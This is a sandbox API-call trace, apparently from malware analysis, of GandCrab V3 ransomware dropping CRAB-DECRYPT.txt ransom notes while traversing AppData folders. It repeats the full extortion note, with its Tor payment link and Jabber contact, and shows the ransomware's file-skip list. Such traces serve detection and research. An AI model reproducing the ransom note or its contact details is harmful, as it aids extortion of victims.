	[0135.557] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.557] VirtualFree (lpAddress=0x3560000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.561] WriteFile (in: hFile=0x3f4, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0135.561] WriteFile (in: hFile=0x3f4, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0135.561] WriteFile (in: hFile=0x3f4, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314b464*=0x8, lpOverlapped=0x0) returned 1
	[0135.562] CloseHandle (hObject=0x3f4) returned 1
	[0135.562] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.562] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.562] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.563] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.563] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.563] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.563] FindNextFileW (in: hFindFile=0x3248430, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0
	[0135.563] FindClose (in: hFindFile=0x3248430 | out: hFindFile=0x3248430) returned 1
	[0135.564] FindNextFileW (in: hFindFile=0x3248470, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 0
	[0135.564] FindClose (in: hFindFile=0x3248470 | out: hFindFile=0x3248470) returned 1
	[0135.564] FindNextFileW (in: hFindFile=0x3248270, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0135.564] lstrcmpW (lpString1="Temp", lpString2=".") returned 1
	[0135.564] lstrcmpW (lpString1="Temp", lpString2="..") returned 1
	[0135.564] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\", lpString2="Temp" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Temp") returned="C:\\Users\\Default\\AppData\\Local\\Temp"
	[0135.564] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Temp", lpString2="\\" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Temp\\") returned="C:\\Users\\Default\\AppData\\Local\\Temp\\"
	[0135.564] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.564] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0135.564] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0135.564] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0135.564] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0135.564] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.564] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314bf68, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0135.565] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0135.565] lstrcmpiW (lpString1="C:\\Users\\Default\\AppData\\Local\\Temp\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0135.565] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314b750, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0135.565] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0135.565] lstrcmpiW (lpString1="C:\\Users\\Default\\AppData\\Local\\Temp\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0135.565] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.565] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Temp\\\\CRAB-DECRYPT.txt") returned 53
	[0135.565] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Temp\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\default\\appdata\\local\\temp\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0135.567] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0135.567] WriteFile (in: hFile=0x3ec, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314bf4c, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314bf4c*=0xcce, lpOverlapped=0x0) returned 1
	[0135.568] CloseHandle (hObject=0x3ec) returned 1
	[0135.568] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.568] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Temp\\") returned 36
	[0135.568] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Temp\\", lpString2="*" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Temp\\*") returned="C:\\Users\\Default\\AppData\\Local\\Temp\\*"
	[0135.568] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Temp\\*", lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 0x3248470
	[0135.568] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0135.568] FindNextFileW (in: hFindFile=0x3248470, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0135.568] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0135.568] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0135.568] FindNextFileW (in: hFindFile=0x3248470, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0135.569] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0135.569] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0135.569] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Temp\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Temp\\CRAB-DECRYPT.txt") returned="C:\\Users\\Default\\AppData\\Local\\Temp\\CRAB-DECRYPT.txt"
	[0135.569] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.569] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Temp\\CRAB-DECRYPT.txt") returned 52
	[0135.569] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Temp\\CRAB-DECRYPT.txt") returned 52
	[0135.569] lstrlenW (lpString=".txt") returned 4
	[0135.569] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0135.569] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0135.569] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.569] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Temp\\CRAB-DECRYPT.txt") returned 52
	[0135.569] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Temp\\CRAB-DECRYPT.txt") returned 52
	[0135.570] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0135.570] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0135.570] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0135.570] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0135.570] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0135.570] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0135.570] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0135.570] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0135.570] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0135.570] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.570] FindNextFileW (in: hFindFile=0x3248470, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 0
	[0135.570] FindClose (in: hFindFile=0x3248470 | out: hFindFile=0x3248470) returned 1
	[0135.570] FindNextFileW (in: hFindFile=0x3248270, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0135.570] lstrcmpW (lpString1="Temporary Internet Files", lpString2=".") returned 1
	[0135.570] lstrcmpW (lpString1="Temporary Internet Files", lpString2="..") returned 1
	[0135.570] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\", lpString2="Temporary Internet Files" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files") returned="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files"
	[0135.570] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files", lpString2="\\" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files\\") returned="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files\\"
	[0135.570] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.571] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0135.571] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0135.571] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0135.571] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0135.571] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.571] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314bf68, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0135.571] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0135.571] lstrcmpiW (lpString1="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0135.571] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314b750, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0135.571] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0135.571] lstrcmpiW (lpString1="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0135.571] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.571] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files\\\\CRAB-DECRYPT.txt") returned 73
	[0135.571] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\default\\appdata\\local\\temporary internet files\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0135.572] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0135.572] WriteFile (in: hFile=0x3ec, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314bf4c, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314bf4c*=0xcce, lpOverlapped=0x0) returned 1
	[0135.573] CloseHandle (hObject=0x3ec) returned 1
	[0135.573] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.573] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files\\") returned 56
	[0135.573] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files\\", lpString2="*" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files\\*") returned="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files\\*"
	[0135.574] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files\\*", lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 0xffffffff
	[0135.574] FindNextFileW (in: hFindFile=0x3248270, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 0
	[0135.574] FindClose (in: hFindFile=0x3248270 | out: hFindFile=0x3248270) returned 1
	[0135.574] FindNextFileW (in: hFindFile=0x3248230, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0135.574] lstrcmpW (lpString1="Roaming", lpString2=".") returned 1
	[0135.574] lstrcmpW (lpString1="Roaming", lpString2="..") returned 1
	[0135.574] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\", lpString2="Roaming" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming") returned="C:\\Users\\Default\\AppData\\Roaming"
	[0135.574] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming", lpString2="\\" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\") returned="C:\\Users\\Default\\AppData\\Roaming\\"
	[0135.574] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.574] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0135.574] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0135.575] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0135.575] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0135.575] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.575] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314ca10, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0135.575] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0135.575] lstrcmpiW (lpString1="C:\\Users\\Default\\AppData\\Roaming\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0135.575] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314c1f8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0135.575] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0135.575] lstrcmpiW (lpString1="C:\\Users\\Default\\AppData\\Roaming\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0135.575] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.575] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\Default\\AppData\\Roaming\\\\CRAB-DECRYPT.txt") returned 50
	[0135.575] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\default\\appdata\\roaming\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0135.576] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0135.576] WriteFile (in: hFile=0x3e8, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314c9f4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314c9f4*=0xcce, lpOverlapped=0x0) returned 1
	[0135.577] CloseHandle (hObject=0x3e8) returned 1
	[0135.577] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.577] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\") returned 33
	[0135.578] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\", lpString2="*" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\*") returned="C:\\Users\\Default\\AppData\\Roaming\\*"
	[0135.578] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\*", lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 0x3247df0
	[0135.578] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0135.578] FindNextFileW (in: hFindFile=0x3247df0, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0135.578] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0135.578] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0135.578] FindNextFileW (in: hFindFile=0x3247df0, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0135.578] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0135.578] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0135.578] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\CRAB-DECRYPT.txt") returned="C:\\Users\\Default\\AppData\\Roaming\\CRAB-DECRYPT.txt"
	[0135.578] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.578] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\Default\\AppData\\Roaming\\CRAB-DECRYPT.txt") returned 49
	[0135.578] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\CRAB-DECRYPT.txt") returned 49
	[0135.578] lstrlenW (lpString=".txt") returned 4
	[0135.578] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0135.579] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0135.579] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.579] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\CRAB-DECRYPT.txt") returned 49
	[0135.579] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\CRAB-DECRYPT.txt") returned 49
	[0135.579] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0135.579] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0135.579] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0135.579] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0135.579] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0135.579] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0135.579] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0135.579] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0135.579] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0135.579] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.580] FindNextFileW (in: hFindFile=0x3247df0, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0135.580] lstrcmpW (lpString1="Microsoft", lpString2=".") returned 1
	[0135.580] lstrcmpW (lpString1="Microsoft", lpString2="..") returned 1
	[0135.580] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\", lpString2="Microsoft" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft"
	[0135.580] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft", lpString2="\\" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\"
	[0135.580] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.580] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0135.580] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0135.580] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0135.580] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0135.580] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.580] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314bf68, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0135.580] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0135.580] lstrcmpiW (lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0135.580] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314b750, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0135.580] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0135.580] lstrcmpiW (lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
